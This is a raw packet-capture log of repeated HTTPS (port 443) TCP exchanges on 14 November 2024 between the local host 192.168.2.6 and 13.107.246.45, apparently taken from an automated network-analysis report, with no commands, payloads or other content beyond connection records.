Nov 14, 2024 17:24:42.549999952 CET	443	49860	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.553033113 CET	49865	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.553055048 CET	443	49865	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.553177118 CET	49865	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.553350925 CET	49865	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.553363085 CET	443	49865	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.791846991 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.792881012 CET	49861	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.792891979 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.793864965 CET	49861	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.793868065 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.922391891 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.922569990 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.922760010 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.922800064 CET	49861	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.922985077 CET	49861	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.922985077 CET	49861	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.922997952 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.923026085 CET	49861	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.923029900 CET	443	49861	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.925870895 CET	49866	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.925959110 CET	443	49866	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:42.926170111 CET	49866	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.927681923 CET	49866	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:42.927717924 CET	443	49866	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.099858046 CET	443	49862	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.101632118 CET	49862	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.101658106 CET	443	49862	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.102288961 CET	49862	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.102294922 CET	443	49862	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.211945057 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.212455034 CET	49863	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.212477922 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.213138103 CET	49863	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.213141918 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.232218027 CET	443	49862	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.232283115 CET	443	49862	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.232353926 CET	49862	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.232753038 CET	49862	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.232783079 CET	443	49862	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.232894897 CET	49862	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.232904911 CET	443	49862	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.237194061 CET	49867	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.237220049 CET	443	49867	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.237274885 CET	49867	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.237611055 CET	49867	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.237624884 CET	443	49867	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.283945084 CET	443	49864	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.285120964 CET	49864	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.285200119 CET	443	49864	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.285849094 CET	49864	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.285866976 CET	443	49864	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.310141087 CET	443	49865	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.312383890 CET	49865	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.312397957 CET	443	49865	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.313045979 CET	49865	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.313054085 CET	443	49865	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.386840105 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.386914015 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.387026072 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.387025118 CET	49863	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.387080908 CET	49863	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.399224043 CET	49863	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.399239063 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.399249077 CET	49863	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.399252892 CET	443	49863	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.404284954 CET	49868	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.404359102 CET	443	49868	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.404422998 CET	49868	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.404572964 CET	49868	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.404581070 CET	443	49868	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.442617893 CET	443	49865	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.443613052 CET	443	49865	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.443674088 CET	49865	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.445331097 CET	49865	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.445332050 CET	49865	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.445342064 CET	443	49865	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.445349932 CET	443	49865	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.472026110 CET	49869	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.472069025 CET	443	49869	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.472151041 CET	49869	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.475758076 CET	49869	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.475775957 CET	443	49869	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.538626909 CET	443	49864	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.538665056 CET	443	49864	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.538821936 CET	49864	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.539127111 CET	49864	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.539127111 CET	49864	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.539160967 CET	443	49864	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.539186954 CET	443	49864	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.553139925 CET	49870	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.553163052 CET	443	49870	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.553235054 CET	49870	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.601264000 CET	49870	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.601281881 CET	443	49870	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.707572937 CET	443	49866	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.715940952 CET	49866	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.716005087 CET	443	49866	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.760482073 CET	49866	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.760539055 CET	443	49866	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.893867970 CET	443	49866	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.894023895 CET	443	49866	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.894119024 CET	49866	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.898392916 CET	49866	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.898394108 CET	49866	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.898439884 CET	443	49866	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.898469925 CET	443	49866	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.903871059 CET	49871	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.903959036 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:43.904038906 CET	49871	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.904424906 CET	49871	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:43.904460907 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.010477066 CET	443	49867	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.010993958 CET	49867	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.011017084 CET	443	49867	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.011513948 CET	49867	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.011521101 CET	443	49867	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.149764061 CET	443	49867	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.149846077 CET	443	49867	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.150017023 CET	49867	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.150155067 CET	49867	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.150167942 CET	443	49867	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.153398991 CET	49872	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.153414011 CET	443	49872	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.153605938 CET	49872	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.153656960 CET	49872	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.153666019 CET	443	49872	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.186820984 CET	443	49868	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.187494040 CET	49868	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.187520027 CET	443	49868	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.187958002 CET	49868	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.187963009 CET	443	49868	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.212100029 CET	443	49869	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.212649107 CET	49869	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.212735891 CET	443	49869	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.212975025 CET	49869	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.212990999 CET	443	49869	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.321367979 CET	443	49868	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.321531057 CET	443	49868	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.321600914 CET	49868	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.321737051 CET	49868	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.321748018 CET	443	49868	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.321758032 CET	49868	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.321762085 CET	443	49868	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.324825048 CET	49873	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.324912071 CET	443	49873	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.325004101 CET	49873	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.325162888 CET	49873	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.325191975 CET	443	49873	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.336919069 CET	443	49870	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.337335110 CET	49870	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.337343931 CET	443	49870	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.337898016 CET	49870	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.337902069 CET	443	49870	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.387900114 CET	443	49869	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.387942076 CET	443	49869	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.388128996 CET	49869	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.388273954 CET	49869	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.388273954 CET	49869	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.388319016 CET	443	49869	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.388348103 CET	443	49869	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.391661882 CET	49874	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.391690016 CET	443	49874	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.391876936 CET	49874	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.391941071 CET	49874	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.391951084 CET	443	49874	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.508459091 CET	443	49870	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.509670973 CET	443	49870	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.509741068 CET	49870	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.509783030 CET	49870	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.509793997 CET	443	49870	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.509803057 CET	49870	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.509807110 CET	443	49870	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.512936115 CET	49875	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.513006926 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.513087988 CET	49875	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.513221979 CET	49875	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.513238907 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.648210049 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.648864985 CET	49871	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.648951054 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.649274111 CET	49871	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.649288893 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.775893927 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.775970936 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.776050091 CET	49871	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.776072979 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.776133060 CET	49871	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.776349068 CET	49871	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.776349068 CET	49871	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.776391029 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.776418924 CET	443	49871	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.779339075 CET	49876	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.779383898 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.779464960 CET	49876	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.779625893 CET	49876	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.779645920 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.893683910 CET	443	49872	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.894503117 CET	49872	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.894527912 CET	443	49872	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:44.895045042 CET	49872	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:44.895050049 CET	443	49872	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.032311916 CET	443	49872	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.032500029 CET	443	49872	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.032556057 CET	49872	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.032789946 CET	49872	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.032803059 CET	443	49872	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.032816887 CET	49872	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.032821894 CET	443	49872	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.037168026 CET	49877	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.037206888 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.037271023 CET	49877	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.037440062 CET	49877	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.037453890 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.125628948 CET	443	49873	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.126346111 CET	49873	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.126369953 CET	443	49873	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.126876116 CET	49873	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.126887083 CET	443	49873	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.131819963 CET	443	49874	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.132258892 CET	49874	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.132266998 CET	443	49874	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.132822037 CET	49874	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.132824898 CET	443	49874	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.255078077 CET	443	49873	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.255237103 CET	443	49873	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.255439997 CET	49873	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.255521059 CET	49873	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.255521059 CET	49873	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.255564928 CET	443	49873	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.255595922 CET	443	49873	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.258039951 CET	49878	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.258128881 CET	443	49878	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.258208990 CET	49878	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.258431911 CET	49878	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.258454084 CET	443	49878	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.259761095 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.260204077 CET	49875	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.260231972 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.260649920 CET	49875	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.260662079 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.260963917 CET	443	49874	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.261018991 CET	443	49874	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.261080027 CET	49874	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.261183977 CET	49874	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.261188984 CET	443	49874	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.261198044 CET	49874	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.261200905 CET	443	49874	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.263329029 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.263370037 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.263426065 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.263606071 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.263622046 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.391570091 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.391586065 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.391628981 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.391784906 CET	49875	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.391786098 CET	49875	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.392627954 CET	49875	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.392667055 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.392704010 CET	49875	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.392719984 CET	443	49875	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.395683050 CET	49880	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.395705938 CET	443	49880	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.395772934 CET	49880	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.395937920 CET	49880	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.395945072 CET	443	49880	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.517395973 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.520220995 CET	49876	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.520283937 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.520629883 CET	49876	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.520646095 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.648622990 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.649034023 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.649130106 CET	49876	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.649137974 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.651675940 CET	49876	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.660983086 CET	49876	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.660983086 CET	49876	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.661026001 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.661056042 CET	443	49876	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.667370081 CET	49881	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.667412996 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.667479038 CET	49881	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.669009924 CET	49881	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.669024944 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.799529076 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.828368902 CET	49877	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.828402042 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:45.829133034 CET	49877	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:45.829138994 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.003015041 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.004225969 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.004302025 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.004431963 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.004462004 CET	49877	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.004503012 CET	49877	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.007488966 CET	443	49878	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.046489000 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.062215090 CET	49878	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.140932083 CET	443	49880	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.187309980 CET	49880	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.389395952 CET	49880	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.389422894 CET	443	49880	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.389938116 CET	49880	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.389955997 CET	443	49880	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.393702030 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.393732071 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.394347906 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.394351959 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.401370049 CET	49877	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.401391983 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.401403904 CET	49877	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.401408911 CET	443	49877	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.421406031 CET	49878	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.421485901 CET	443	49878	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.429532051 CET	49878	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.429548025 CET	443	49878	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.439026117 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.444538116 CET	49881	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.444565058 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.448072910 CET	49881	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.448081017 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.538141966 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.538400888 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.538439989 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.538506985 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.539602995 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.541204929 CET	443	49880	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.541253090 CET	443	49880	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.541300058 CET	49880	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.556910992 CET	443	49878	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.557074070 CET	443	49878	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.557259083 CET	49878	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.579014063 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.579075098 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.579119921 CET	49881	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.579135895 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.579206944 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.579251051 CET	49881	443	192.168.2.6	13.107.246.45
